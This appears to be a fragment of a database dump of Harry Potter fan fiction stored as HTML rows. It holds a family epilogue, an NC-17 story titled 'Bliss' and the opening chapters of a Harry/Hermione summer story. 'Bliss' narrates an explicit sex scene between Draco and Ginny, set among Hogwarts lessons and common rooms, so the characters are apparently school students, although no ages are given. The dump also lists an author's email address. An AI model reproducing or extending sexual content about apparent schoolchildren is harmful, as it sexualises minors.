here?&quot;</p>\n\n<p>Harry smiled. &quot;Not really. We did get in trouble from the kids this morning for kissing though.&quot;</p>\n\n<p>Ron laughed. &quot;So it\'s started already for you guys, huh?  Rose hasn\'t started any of that yet, thank goodness. But if she turns out to be anything like Fred and George were with mum and dad when they were little, I think I\'m gonna have to lock her up in her room.&quot; They all laughed as a tall, blonde woman walked smiling into the room to snuggle against Ron. &quot;I can barely keep my lips off this one for a second, and if Rose doesn\'t like it well, what can you do?&quot; Ron smirked against the top of the woman\'s head.</p>\n\n<p>&quot;Hi, Anna, how are you?&quot; Harry asked, going to hug the woman.</p>\n\n<p>&quot;We\'re great, how are you guys?&quot; Anna asked, hugging Hermione too. </p>\n\n<p>&quot;Never better,&quot; Hermione grinned. </p>\n\n<p>&quot;Come on, everyone\'s outside. We\'ll leave this big lug in here to finish the cooking, shall we?&quot; Anna asked, kissing her husband.</p>\n\n<p>&quot;Who are you calling a big lug, huh?&quot; Ron grinned, swatting Anna playfully. &quot;Yeah, go on, leave me in here alone, slaving away over a hot stove.&quot;</p>\n\n<p>Harry, Hermione and Anna laughed as they headed outside. Harry looked around and was happily overwhelmed when everyone seemed to simultaneously rush forward to greet them. After all the welcoming had taken place, and well after they had eaten Ron\'s surprisingly spectacular lunch, Harry found himself sitting, alone peacefully sipping a butterbeer, just watching everyone. </p>\n\n<p>He saw Arthur Weasley, still fascinated by all things muggle, asking Doug Granger about computers, as their respective wives, Molly and Sarah, tried to chat over them. Bill, Charlie, Percy, Fred and George were playing Quidditch with their various children. Bill, Percy and Fred\'s wives, Fleur, Penelope and Angelina were discussing the latest in witch fashions with Ginny. Her husband, Colin, was busy taking pictures of the ongoing Quidditch game whilst Ron was animatedly talking to Anna and Remus. Hermione sat on the grass with Claire on her lap, and James and Rose on either side of her. The three children were transfixed by one of Sirius\' many stories. Harry watched his family sitting there, and smiled contentedly, so happy with his life and the way everything had turned out. At that moment, Hermione turned to look at him. Seeing him watching them, she whispered something into Claire\'s ear, who moved so that Hermione could get up, and she wandered over to Harry. </p>\n\n<p>Sitting on his lap, she ran her fingers through his hair. &quot;What were you looking at?&quot; </p>\n\n<p>Harry smiled. &quot;Everyone. You. I\'m just so... I\'m so happy, Hermione. When I was younger, things were so bad for me, and I really didn\'t expect that much out of life other than to survive it. But now I know that you\'re not supposed to just survive life, you\'re supposed to live it. And I couldn\'t have ever done that without you. You are my life, Hermione. I love you so much.&quot;</p>\n\n<p>Hermione\'s eyes glistened. &quot;Oh, Harry,&quot; she choked out. Composing herself a little, she continued on quietly. &quot;I was going to wait until we were alone to tell you this, but I suddenly can\'t wait another second. Harry, we\'re having another baby.&quot;</p>\n\n<p>Harry\'s face broke into a wide grin. &quot;Really?&quot;</p>\n\n<p>Hermione laughed through the tears silently streaming down her face. &quot;Really.&quot;</p>\n\n<p>He hugged her tight against him and kissed her lips, whispering softly to her. &quot;I\'m the luckiest man alive.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>A/N: Well, that\'s it... or is it? ;) I might (emphasis on the word \'might\', I\'m really busy at the moment, so it won\'t be for a while) write a sequel of epilogue or something to explain what happened when Harry and Hermione told Ron, how he got with Anna, Harry and Hermione\'s wedding, and how and when James appeared ;)</p>\n\n'),
	(202, 1, '\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b>Title:\nBliss</b>&nbsp;<br>\n<b>Author name:</b> blazefury&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>\n<b>Author email:</b> blaze@moonshinehollow.com<br>\n<b>Category:</b> Romance<br>\n<b>Keywords:</b> Draco Ginny<br>\n<b>Rating:</b> NC - 17<br>\n<b>Summary:</b> <b>A moment of passion that succumbs to their utmost bliss. \n</b></p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b>DISCLAIMER:</b>\nThis story is based on characters and some situations created and owned by JK\nRowling, various publishers including but not limited to Bloomsbury Books,\nScholastic Books and Raincoast Books, and Warner Bros., Inc. No money is being\nmade and no copyright or trademark infringement is intended. Though primary\ncharacters and most other characters are copyright J.K. Rowling, some characters\nare copyright the author and if you wish to use them please ask before hand.<b>\n\n \n</b></p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b>&nbsp;\n &nbsp;\n \n</b></p>\n<p class="MsoNormal"><b>Author&#8217;s Notes:</b>\nEnjoy it.&nbsp;</p>\n<p class="MsoNormal">***********</p>\n<p class="MsoNormal">She walked with eyes to the solid ground\nbeneath her. Listening to the flurry of chatter that surrounded her. She dare\nnot look up to face anyone, for fear of ridicule and harshly embarrassing\nmoments.</p>\n<p class="MsoNormal">Her eyes glued to the well trodden\nhallways of Hogwarts. She walked with a countenance bound by languor and\ninfirmity of that of someone who was in rapid decay.</p>\n<p class="MsoNormal">She then slowed down and as she\nrecognised a pair of shoes that was walking toward her. Clean, shiny and\nexpensive leather.&nbsp;</p>\n<p class="MsoNormal">Taking a deep breath her eyes travel up\nthe mandatory black robes of the school, that encased the tall, broad and pale,\nDraco Malfoy.&nbsp;</p>\n<p class="MsoNormal">Malfoy. The name sent shudders down her\nspine and made her bite her lip in contempt. A breath catches in her chest and\nher pace slows down considerably as her eyes travel upward, losing the grounds\ncompanionship. A Slytherin crest emblazoned on the top right of his robes and\nhis face set with a stoic expression. Eyes set in silver that seem to swim in\nlimpid pools. A cool and authoritative demeanor emanating through out.</p>\n<p class="MsoNormal">Without realising it, she was now so\nclose to him that she wished she could reach out and touch him without consequence.\nHer whole body flushed and the warmth that engulfed her seemed too much. An\naching feeling excitedly zipped through her stomach rendering her\nincapacitated for a moment. She looked at him and swallowed, waiting for a sneer\nto cross his face. Yet it never came.</p>\n<p class="MsoNormal">They both stood there staring at each\nother until finally, she lowered her gaze once more and stepped aside and\nregained her composure. As she was about to walk forward though, something\ncaught her wrist. She breathed in deeply and looked behind to see his hand.</p>\n<p class="MsoNormal">&quot;Virginia,&quot; he murmured.</p>\n<p class="MsoNormal">His back was facing her and so she\ncautiously turned and stood behind him silently. Her senses seemed to have gone\non a power trip and left her blacked out. Then he turned swiftly and silver\ncrossed to brown and a sweeping sensation came over her, tugging at her. Her\neyes fluttered to a close as her breathing became ragged. When she opened them,\nshe realised what glorious feeling had washed over her: Desire.</p>\n<p class="MsoNormal">For it had been reflected in his own\nappearance.</p>\n<p class="MsoNormal">There was no need for words as he led\nher to his common room down in the dungeons, leaving behind all memory of\nlessons and professors. For now it was only the two of them.</p>\n<p class="MsoNormal">It was pure luck that the common room\nwas empty. The journey to his room seemed to her to take an eternity as they\nwalked and made her want to scream. When their destination was reached he pulled her in\nand shut the door with numerous spells cast. She wasn\'t paying attention\nto anything else other then him, her breath coming in great gasps as if she\ncouldn\'t hold much breath. Her hands flung to his neck as his lips came crashing\ndown into blissful contact. His hands reached into her hair and caressed her\nscalp before helping her to ease off her robe. Their kisses grew hungrier as\ntongues clashed and intertwined; dancing merrily. </p>\n<p class="MsoNormal">She grew bold and helped him rip off his\nown robes that was in her way and her shaking hands tried to unbutton his shirt,\nafter his sweater came off. He pulled away slightly and then his kisses slowed\ndown. It became gentle as he steadied her hands and one by one, each button came\noff and and so was the shirt off his back.</p>\n<p class="MsoNormal">She pulled away to admire his chest,\nwhich to her was perfectly sculpted. She ran her hands lightly as if barely\ntouching him over his soft skin. His hunger increased as a shudder ran through\nhim. He picked her up and laid her on the centre of his bed, taking off her worn\ndown old shoes and battered socks. He then took of his own, his eyes never\nleaving hers. She bit her lip as she felt a need tugging away at her and\nsquirmed around as she shifted her legs to get comfortable.</p>\n<p class="MsoNormal">He crawled onto the bed and hovered\nabove her, his arms on either side of her head. He trailed kisses down her face\nand licked the area where shoulder and neck met. Her arms reached out for him\nbut he took it and intertwined them with his own before settling them back down.\nHe bit her neck ever so lightly and made her gasp. </p>\n<p class="MsoNormal">Moving down, he removed every single\nbutton off her blouse with his mouth and removed her shirt swiftly. She moaned\nslightly as desire made her want him even more. She shifted her legs and ground\nherself into him, her eyes dancing. He looked over her and ravaged her mouth as\nhis hand slipped to her back and unclasped her bra, flinging it off of her. </p>\n<p class="MsoNormal">She finally gained power to her hands\nand let them roam down his back softly, then down to his neck where she pulled\nhim in deeper to her mouth. He pulled away with a moan and looked over her with\nreverence. The hand that was rubbing her side snaked over to her exposed chest\nand wound around her breast, kneading them. The other not to be left unnoticed\nwas held by Draco\'s mouth and teased by his tongue as it flickered over the tip.</p>\n<p class="MsoNormal">The hand then seemingly lost pleasure as\nit roamed down to her skirt and unbuckled it, her eyes still closed. She lifted\nher hips as she swept them off her along with her panties. His eyes flickered\nover the beauty that was before him, needs and wants rushing and increasing over\nhim ten-fold. It seemed it was the same for her as she ground her hips into his,\nfeeling his arousal. In seconds his pants and black silk boxers lay motionless\non the floor.</p>\n<p class="MsoNormal">Leaning over her, he crushed her swollen\nlips and suckled on her bottom lip, biting it. Her hands roamed over his back\nand then down to his stomach, he groaned into her mouth as his muscles contracted\nas she ran a single finger down. Then he gasped as their tongues clashed, she\ntook his length with her hands and stroked him, emboldened by the energy that\nwas coursing through her veins. He pulled away with a growl and trailed kisses\ndown her chest and onto her stomach as he took his time to to lick and nip every\ncrevice. His hands came down and parted her legs and soon enough she let out a\ncry as his tongue flicked in and out of her in rhythmic agility.</p>\n<p class="MsoNormal">She gripped the sheets as waves of\nindescribable proportions ran through her leaving her breathless. He finally\nstopped and came up to face her. She called his name and pleaded for him to take\nher now. His eyes pooling over, his fingers reached down and over to her sex as\nhis fingers flicked at her button making her buck underneath him. He kissed her\nwith ferocious intensity as his hand seemed to have taken over his predecessor.\nHer hands gripped his shoulders and her nails dug in as the familiar ache ran\nthrough her. She moaned loudly and pleaded with her eyes and he seemed to have\nfinally stopped his inflicted torture and thrusted into her gently, letting her\nget used to him. Her eyes closed tightly and her breath caught. Feeling the\nsilky walls that encased him now, he leaned down and thrusted into her gently\nuntil finally he came to a fluid pace. She wanted more though and wrapped her\nlegs round his waist and he went in deeper and harder. She gave a slight cry and\nthrew her head back and her hair fanned out behind her. His eyes watched her\ndesperately as he went in deeper and faster that the ache just grew and\nfluttered through out of her. She stared back at him digging her nails into him.\nHer hips rocked with the same motion and gave a buck, then her eyes closed as\nthe buildup hit a crescendo that just exploded.</p>\n<p class="MsoNormal">&quot;Draco!&quot; she screamed.</p>\n<p class="MsoNormal">He too cried out her name as he spent\nhimself into her and he slumped\nover her. She wrapped her arms around her and their chests heaved violently as\ntheir lungs craved for the air that they were earlier deprived off. He leaned\nhis forehead against hers and they just lay there, enraptured by swimming silver\nand brandy coloured orbs. </p>\n<p class="MsoNormal">&nbsp;His eyes flicked over her and he\ntilted his head to kiss her. This time it was gentle and soft leaving her mouth\ntingling. She felt his tongue probe her lips and she relented by opening her\nmouth to his. He rolled off of her and grabbed the sheets to pull it around\nthem. His kisses roved over her and hands took their\nclaim.</p>\n<p class="MsoNormal">A mess of tangled sheets and legs. Their\nbodies and minds settling their craving for what they needed. The need to be\ntouched and the need to be felt loved. </p>\n<p class="MsoNormal">After the long succession of hot kisses\nand trails of passion they surrendered into what was their bliss. </p>\n<p class="MsoNormal">***********</p>\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n'),
	(203, 1, '\n\n\n\n<title>Untitled Document</title>\n\n<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">\n\n\n\n<u>Author\'s Note</u>: All Harry Potter characters are exclusively owned and copyrighted by J. K. Rowling, Scholastic Books, and Warner Brothers. I am neither gaining profit nor assuming credit for these characters. <p><br>\n\n\n<b>Chapter 1</b></p>\n\n<p>When the light blue Volvo pulled in to the smooth black gravel driveway of the Granger household, Harry had mixed feelings. While the anxiety over Voldemort constantly pulled at the back of his mind, Harry also missed spending the past two summers at the Weasley\'s. The Dursley\'s had pretty much disowned Harry and he couldn\'t be happier at that. But the dark fact of the matter was that no wizarding family was safe harboring Voldemort\'s greatest enemy. This became almost fatality clear when the Weasley\'s barely escaped Voldemort\'s wrath alive last summer. </p>\n\n<p>Under Dumbledore\'s advice, it was thought best that Harry spend the summer before his seventh and last year at Hogwarts with the Granger\'s. Dumbledore saw it as a great benefit to Harry that all Death Eaters despised muggles to the point of having no desirable knowledge about them. Even though it was no doubt well known that Hermione was one of Harry\'s closest friends, and a muggle at that, even Voldemort would be hard pressed to find out where she lived. What Death Eater would want to dirty themselves with such muggle items as a phone book?</p>\n\n<p>With a smile Hermione turned to Harry and chimed, &quot;We\'re here!&quot; The two teenagers stepped out of the backseat as Mr. and Mrs. Granger--already out--went to the trunk to pull out the luggage.</p>\n\n<p>&quot;Welcome to our home, Harry,&quot; Mrs. Granger said cheerfully. &quot;I hope you\'ll treat it as your own.&quot;</p>\n\n<p>&quot;Thank you,&quot; Harry said, respectfully.</p>\n\n<p>Harry didn\'t know how to feel about spending the summer with Hermione and her parents. They were nice enough, sure. Mr. and Mrs. Granger were more than happy to help protect Harry and even understood the risks involved. But a summer with Hermione? Harry would be seventeen soon, and Hermione soon after that. They both had the kind of knowledge that sixteen-year-olds had. As with any friendship between a boy and a girl, one\'s mind couldn\'t leave it at a childhood level anymore, there were overtones that couldn\'t be completely ignored, though Harry attempted. He wasn\'t blind, despite his poor vision. Hermione had the body of a young woman now, and a very attractive one at that. But for Harry, the subconscious waters of unconditioned desire remained stagnant beneath the ice-covering of his conscious mind and the importance of their friendship.</p>\n\n<p>The Granger house was modestly middle class, just one storey as opposed to the many added layers of the Weasley home. It was situated deep within English suburbia and was clean above all else. The small porch with quaint little gardens of sideways potted plants on either side of the walkway led to a solid deep brown door. With clunky luggage trailing behind, the Grangers and Harry shuffled their way inside. A short tile pathway greeted Harry, with an off-white wall on the right and a lowered living room on the left filled with a classical piano, chip-and-dale imitation chairs, and a low coffee table with a glass top. The tile walkway emptied into a perpendicular hallway that led left &quot;to the bedrooms&quot; and right to the &quot;family room and kitchen.&quot;</p>\n\n<p>&quot;I\'m sorry to say, Harry but we have only the two rooms, the master bedroom and Hermione\'s further down the hall. The couch in the living room turns into a bed, so you\'ll have to sleep there.&quot; Mr. Granger said. He was a gentle man with light brown hair, slightly balding.</p>\n\n<p>&quot;Please, I\'m grateful for your hospitality,&quot; Harry responded truthfully. &quot;With Ron I had to share a room, but even that was great compared to the Dursleys.&quot;</p>\n\n<p>&quot;Yes,&quot; Hermione rang in. &quot;Well now you\'ll have a room to yourself, and the telly\'s in there as well.&quot;</p>\n\n<p>&quot;You can use the hall bathroom to change, Harry,&quot; Mrs. Granger said. She too had a kind complexion and long, fried brown hair. So that\'s where Hermione gets it. &quot;Now lets all unpack.&quot;</p>\n\n<p>Mr. and Mrs. Granger headed left down the hall with Hermione\'s things, but she followed Harry into the family room to help.</p>\n\n<p>&quot;Oh, Harry!&quot; Hermione finally blurted out, she had been fidgeting all the way home and was finally giving vent to her excitement. &quot;We\'re going to have so much fun! We can sleep in and I can show you my neighborhood and after work my parents can take us to my old elementary school one day this week.&quot; Somehow she looked like she was jumping without even moving. &quot;Then we can have a real celebration for your birthday and we have a pool too in the backyard we can go swimming in and there\'s a field a block away I can show you. Oh, and when we get our new books from Diagon Alley we can read through them together before classes start! Oh, we\'re going to have so much fun!&quot;</p>\n\n<p>Everything sounded fine with Harry except reading all those books at the end. But honestly he was excited too. No summer with the Dursley\'s and not half as much anxiety about Voldemort as with the past two summers. For once he could take a break from it all. Did he even have a pair of swimming trunks?</p>\n\n<p>As the two finished unpacking Harry\'s trunk, there came a sudden pecking at the kitchen window that looked out into the backyard. The two ran over and their suspicions were confirmed by the sight of a dirty little owl.</p>\n\n<p>&quot;Erol!&quot; Harry said as Hermione ran to the sliding glass door that led into the back patio. Erol found his way to the patio doorway, dropped off the little note in his beak, and squeaked before flying off, slamming into the backyard fence before clearing away.</p>\n\n<p>&quot;I think I\'ll get Ron a new owl for his Birthday,&quot; Harry said.</p>\n\n<p>&quot;Yes, but it wouldn\'t be half as funny,&quot; Hermione said, giggling. She picked up the note and opened it before the two read it aloud.</p>\n\n<p><br>\n Harry and Hermione,</p>\n\n<table width="100%" border="0">\n\n<tbody><tr>\n\n<td width="10%"></td>\n\n<td width="64%">Hey! I hope you two made it safely back home. The family and I are back in Romania with Charlie to stay safe this summer, but you can still reach me by owl. In case you\'re wondering, Dad and Percy are doing better. Dad is walking again, and he\'s getting a lot of support from the Ministry of Magic to help rebuild our home. And Percy can still see out of one eye, but we\'re still working on the other one. We\'ll keep you posted. Tell the Grangers that we\'re okay, and try to enjoy yourself this summer, Harry. Forget about You-Know-Who for a while. I\'m sure our seventh year won\'t be pretty. I\'ll see you back at Hogwart\'s safe and sound.</td>\n\n<td width="26%"></td>\n\n</tr>\n\n</tbody></table>\n\n<p>Ron</p>\n\n<p>P.S. Ginny says hi.</p>\n\n<p><br>\n Now if Harry would just get a letter from Sirius he could really relax.</p>\n\n<p>&quot;Well, I\'m glad everything\'s alright,&quot; Hermione said. &quot;That was a nasty scare last summer.&quot;</p>\n\n<p>Harry nodded.</p>\n\n<p>&quot;But no more talk about that. Like Ron said, let\'s forget about it for a while. Now come on, let me show you my room.&quot;<br>\n\n\n</p> '),
	(203, 2, '\n\n\n\n<title>Untitled Document</title>\n\n<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">\n\n\n\n<b>Chapter 2 </b>\n\n<p>Hermione certainly wasn\'t joking. Harry\'s summer was like a dream, and most of it went by just as quickly. Waking up every afternoon, Harry and Hermione helped themselves to beef and provolone sandwiches or tomato soup--whatever they wanted. Since both were generally clean, Mr. and Mrs. Granger scarcely had a complaint and gladly took them around town after work. They went to the cinema, but the horror movies seemed dull compared to their own lives. They went to creameries and split huge Neapolitan mountains. They walked around malls and outlet stores, and Harry picked up a few new pairs of pants and shirts. Hermione came back one day with a new sun dress, some jeans, and summer tank tops.</p>\n\n<p>Harry tried to pay back the Grangers for taking him everywhere and even buying him movie tickets and clothes. He promised to buy all of Hermione\'s wizarding books and accessories at Diagon Alley when the time came for a visit, but the Grangers wouldn\'t have any of it.</p>\n\n<p>&quot;You\'re our guest, Harry,&quot; Mrs. Granger would say with a smile. &quot;You enjoy your summer, we\'re getting by just fine.&quot;</p>\n\n<p>When Harry\'s birthday came, the Grangers went all out to celebrate. They got up that morning of July and quietly dressed up the house with ribbons in Gryffindor colors. They had ready a large chocolate birthday cake handsomely decorated and neatly covered with seventeen lit candles. Hermione gently woke up Harry in the family room while his parents walked in with the cake singing \'Happy Birthday!\'</p>\n\n<p>Harry woke up smiling and when asked to make a wish and blow out the candles, he closed his eyes, wished that the summer could last twice as long, and blew. Mr. and Mrs. Granger had to go to work right after the cutting of the cake, but Harry and Hermione relaxed the rest of the day, and almost got sick of chocolate.</p>\n\n<p>Though Harry had three gifts waiting for him after getting up (a new winter sweater, a leather wand case, and the three volume set of &quot;Contemporary Magic Discoveries&quot;--from Hermione), two more came in at noon. Errol returned with a gift from the Weasleys (a surprisingly nicely woven broom cover), and, to Harry\'s great relief, a slick black owl came with a bundle and letter from Sirius. Before even looking at the packet, Harry ripped opened the letter and read it out loud to Hermione.</p>\n\n<p>Dear Harry,</p>\n\n<p>Dumbledore has sent word that you have arrived safely. I apologize for keeping silent for so long but I have been busy with a number of risky affairs. Please don\'t worry, I\'m keeping safe, and I want you to keep safe as well. Tell your keepers thank you for their hospitality and enjoy your birthday. It\'s not every day that a young man turns seventeen. Enjoy the gift and relax the remainder of the summer, you\'ll have to be sharp when September comes. Love always.</p>\n\n<p>Sirius</p>\n\n<p>With smiles and sighs of relief, the two ripped open the bundle and found within a thick golden chain complemented by a round golden pendant with a lion roaring at its center. A small note attached to it had scrawled on it: &quot;A chain clasp to complete your father\'s cloak.&quot; Harry stood there, eyes gleaming. He wished he could see Sirius again. But that will have to wait after all this darkness ends.</p>\n\n<p>&quot;Did I ever tell you thank you, Harry?&quot; Hermione had suddenly said.</p>\n\n<p>Startled, Harry looked up at her and with a look of confusion said, &quot;What? Why?&quot;</p>\n\n<p>&quot;Well,&quot; Hermione blushed slightly. &quot;My summers were never this fun. Aside from one or two family vacations, I\'m pretty much stuck at home reading. That\'s how I can come back to Hogwarts with all my textbooks completely read--twice over. I don\'t really have any other friends. Before Hogwarts everyone just thought I was strange and they avoided me. It\'s been nice to finally make friends. And . . . it\'s been great to spend this summer with my best friend.&quot; </p>\n\n<p>Harry smiled and blushed in response, and his face grew beet red when Hermione leaned over and hugged him.</p>\n\n<p>Hermione pulled back with smiling eyes and helped Harry reset his glasses on his nose.</p>\n\n<p>&quot;I\'m, uh, I\'m glad I came too,&quot; Harry finally said. &quot;I\'m having a blast.&quot;</p>\n\n<p>While the summer was still hot, Harry and Hermione gave the pool a try. Harry finally picked up some blue and black swimming trunks at the mall. With the sun stuck in the center of the sky like a searing yellow chunk of coal, Harry stood at the edge of the pool waiting for Hermione and the towels.</p>\n\n<p>Without warning, he felt a pair of slim hands smack against his back and push him forcefully forward. A wall of cold water hit him flat, and with a slight sting traveling through his chest he shivered back into motion and jerked his head out of the water. He cleared his wild black hair out of his face, reached for his round glasses at the pool\'s edge and looked up at a giggling Hermione wearing a red and white stripped bikini.</p>\n\n<p>Harry stopped.</p>\n\n<p>Still laughing, Hermione leaned down and said, &quot;I\'m sorry, Harry. Did you belly flop?&quot;</p>\n\n<p>Harry felt a ring of cold around his stomach, but his face was warm and a shot of frantic heat coursed up his chest.</p>\n\n<p>&quot;Harry?&quot; Hermione said, sounding more concerned. &quot;Harry, are you alright?&quot;</p>\n\n<p>Harry jumped and shook his head. He wasn\'t staring was he? What if he was? All that skin. Harry was getting accustomed to the water but he wished it was colder.</p>\n\n<p>&quot;Yeah, I\'m fine,&quot; he finally said. &quot;Just a little sting.&quot;</p>\n\n<p>&quot;Oh,&quot; Hermione slid into the pool in front of him. &quot;I\'m sorry, Harry. I didn\'t mean to hurt you.&quot; She placed her right hand on his chest.</p>\n\n<p>Harry backed away. &quot;No, no really, I\'m alright.&quot;</p>\n\n<p>&quot;Are you sure?&quot;</p>\n\n<p>&quot;Absolutely.&quot; Harry forced a smile and exhaled heavily out of his nostrils. For good measure, he slapped the surface of the water and splashed Hermione. She screamed and a playful water fight ensued. Crisis averted.</p>\n\n<p>The two went swimming every day after that and Harry became accustomed to seeing Hermione in so little. Almost. Still, he played it off well.</p>\n\n<p>Weeks continued to pass and Harry took a trip to Diagon Ally with the Grangers to get the student\'s their supplies. As their last year, accessories and books were more expensive, but after a trip to Gringott\'s everything went well. Harry and the Grangers returned home with seven extra books, a cauldron--standard size 5--, and an astrology chart each.</p>\n\n<p>Two weeks before the return to Hogwarts, Harry still could not avoid Hermione\'s planned study sessions. They had read through two of their books (&quot;A Revised History of Hogwarts&quot; and &quot;Dark Wizardry in the Middle Ages&quot;) before something caught Hermione\'s notice. Harry thought it might have been the silence, which was solid since noon; all that broke it was a phone call her parents picked up three hours ago.</p>\n\n<p>&quot;Shouldn\'t dinner be ready?&quot; she said.</p>\n\n<p>Harry, though dazed, looked up at Hermione.</p>\n\n<p>Silently, and with a crinkled brow, Hermione got up from the coach and walked into the hall toward her parent\'s bedroom. Harry quietly followed.</p>\n\n<p>&quot;Hermione, what are you--&quot;</p>\n\n<p>&quot;Shhh!&quot; Hermione replied severely. She tip-toed up to her parent\'s closed bedroom door with Harry trailing close behind. Turning their heads and straining ears, they overheard frantic talking.</p>\n\n<p>&quot;I know it\'s short notice, honey, but he really needs us. Dad could fail us any day now, we have to leave,&quot; the voice was Mr. Granger\'s.</p>\n\n<p>&quot;I know, I know. But what about the kids? We can\'t just leave them here. Are you sure we don\'t have enough for two more tickets?&quot; Mrs. Granger held worry in her voice.</p>\n\n<p>&quot;Even if we did, Dad doesn\'t have enough room at his house to hold all of us and we wouldn\'t have enough for nights at a hotel. We\'ll have to be there for at least four days from what the doctors have said.&quot;</p>\n\n<p>There was a long silence except for what Harry took as pacing.</p>\n\n<p>&quot;And no one we know can sit for us?&quot;</p>\n\n<p>&quot;Honey, everyone I\'ve called is either out of town or won\'t be free enough to sit for at least four days. Honestly, they\'re old enough to watch out for themselves.&quot;</p>\n\n<p>&quot;That\'s not what I\'m worried about, Jeremy. I know they\'re self-sufficient . . . but they\'re also teenagers.&quot;</p>\n\n<p>&quot;Sweetie, really. We\'re talking about Harry Potter of all people. And we couldn\'t ask for a daughter who\'s more level-headed. We\'ve seen how they\'ve acted all summer. They\'re just friends.&quot;</p>\n\n<p>More silence and then a long heavy sigh.</p>\n\n<p>&quot;We have to tell them now.&quot;</p>\n\n<p>Hermione\'s eyes widened and as quickly and quietly as two teenagers can, the two jetted back to the living room to put on a veneer of relaxed study.</p>\n\n<p>Mr. and Mrs. Granger walked slowly into the living room moments later with stoic faces.</p>\n\n<p>Mr. Granger spoke first. &quot;Harry, Hermione . . . we have some bad news.&quot;<br>\n\n\n</p> '),
	(203, 3, '\n\n\n\n<title>Untitled Document</title>\n\n<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">\n\n\n\n<b>Chapter 3: Monday</b>\n\n<p>For the first time in months, Harry and Hermione had to wake up before noon--at seven o\'clock no less. Neither of them begrudged the fact, but kept somber faces as they helped Mr. and Mrs. Granger load up the Volvo. Mr. Granger\'s father, Hermione\'s grandfather, was showing symptoms of kidney failure, and at his age the results were expected to be fatal. When everything was ready, the Grangers approached the teens before leaving.</p>\n\n<p>&quot;Stay safe, you two,&quot; Mr. Granger said. He wasn\'t smiling, neither was anyone else. &quot;If you need to go out, take the bus, but be home before dark.&quot;</p>\n\n<p>Harry and Hermione nodded their heads slowly.</p>\n\n<p>&quot;And don\'t do anything . . .&quot; Mrs. Granger started, a worried look stapled to her face. &quot;. . . that we wouldn\'t approve of.&quot; She ventured a smile but it was weak.</p>\n\n<p>&quot;You know where the emergency numbers are, Hermione, and don\'t hesitate to call Diane at the office if you need anything. From the sound of things . . . we should be back by Friday.&quot; With that, Mr. Granger gave his daughter a hug and shook Harry\'s hand. Mrs. Granger followed, hugging them both before she got into the car along with her husband. A minute and a wave later the car was up the street, turned the corner, and then gone.</p>\n\n<p>Hermione sighed. &quot;Grandpa.&quot;</p>\n\n<p>Harry stood silently next to her. He wanted to hug her but settled for a comforting pat on her shoulder. &quot;I\'m sorry, Hermione.&quot;</p>\n\n<p>Hermione shook her head. &quot;It\'s alright. It happens eventually . . . right?&quot; She said this in a curt manner and turned briskly, walking back into the house. Harry followed, not sure of what to say.</p>\n\n<p>&quot;We can go back to sleep if we want,&quot; Hermione said meekly.</p>\n\n<p>&quot;It\'s okay, I\'m not tired,&quot; Harry said.</p>\n\n<p>&quot;Neither am I.&quot;</p>\n\n<p>Still solemn, Harry decided that Hermione would cope on her own terms; that\'s just the way she was. He tried to at least lighten the atmosphere a little by walking to the kitchen and grabbing the loaf of bread.</p>\n\n<p>&quot;Want me to make you a sandwich?&quot; Harry ventured. &quot;That salami is just waiting to be eaten.&quot;</p>\n\n<p>&quot;No thanks.&quot;</p>\n\n<p>&quot;Come on, I\'ll put some freshly cut tomatoes and a slice of Muenster cheese on it. Don\'t make me eat all your food, \'cause I will.&quot;</p>\n\n<p> At that Hermione softly snickered. She looked up at Harry and with a shy smile said, &quot;Okay. How can I say no to tomatoes?&quot;</p>\n\n<hr>\n\n<p>By noon Harry could see Hermione was feeling better. After vegging in front of morning cartoons neither had ever really seen, they played a few movies and reminisced about Hogwarts. The warm anticipation at returning to school that Harry had gotten so used to feeling the first four years was now tempered and shadowed by dark uncertainty and a tangible danger. The two chose to ignore such unpleasantness.</p>\n\n<p>Despite the looming cloud brought on by the failing health of Hermione\'s grandfather, the morning and early afternoon went by like any other weekday. It was as if the Granger\'s had just gone to their dentistry practice like they did every Monday morning.</p>\n\n<p>While the sun was still high, Harry and Hermione got into their swimming trunks--which were always moist from constant use--and jumped in the pool to relax. Harry put his glasses on the pool edge, thankful for the blurred vision. In such a delicate situation and with Hermione distraught, the last thing Harry wanted was flaring guilt brought on by unwanted desires. Before Harry could dwell on it further a wall of water smacked him the face and cheerful laughter quickly followed.</p>\n\n<p>&quot;Why you--!&quot; Harry cried, sputtering, before responding with his own army of waves.</p>\n\n<p>When the sun went into hiding between a bundle of low clouds near the horizon and their fingers looked like plump raisins, Harry and Hermione got out and dried off. They made it inside just in time to catch the ringing phone.</p>\n\n<p>&quot;Hello! Hello!&quot; Hermione said, picking up the receiver frantically.</p>\n\n<p>With slight strain Harry could heat a tiny voice in the tone of her father. &quot;Hermione? Where were you?&quot;</p>\n\n<p>&quot;Sorry, Daddy,&quot; Hermione replied breathlessly. &quot;Just got out of the pool.&quot;</p>\n\n<p>There was a suspended pause at the end. &quot;Are you alright, honey?&quot;</p>\n\n<p>&quot;Yes, I\'m fine. Really, we just came inside.&quot; Hermione stood by the kitchen counter in her bikini with wet brown hair streaming down her shoulders. Harry decided he\'d better go change now, ignoring the short exchange between Hermione and her father. As he exited to the bathroom he heard the mumbles of another, deeper voice come on the other end of the line. </p>\n\n<p>&quot;Grandpa?&quot; Hermione said in a surprised tone. </p>\n\n<p>Harry dried and dressed slowly in order to give Hermione some time alone while she talked on the phone. It was dark outside now, and even though it was just past eight, Harry started feeling heavy-headed. Waking up so early really reset his system.</p>\n\n<p>He walked down the hall toward the family room slowly, trying to gather a convincing nonchalant demeanor, when he heard Hermione\'s voice tremble as she said, \'good-bye.\' Harry turned the corner just as she put the phone back on the receiver and looked up at him with glazed eyes.</p>\n\n<p>&quot;Oh, Harry,&quot; she managed to say. &quot;He sounds so weak!&quot;</p>\n\n<p>A tear 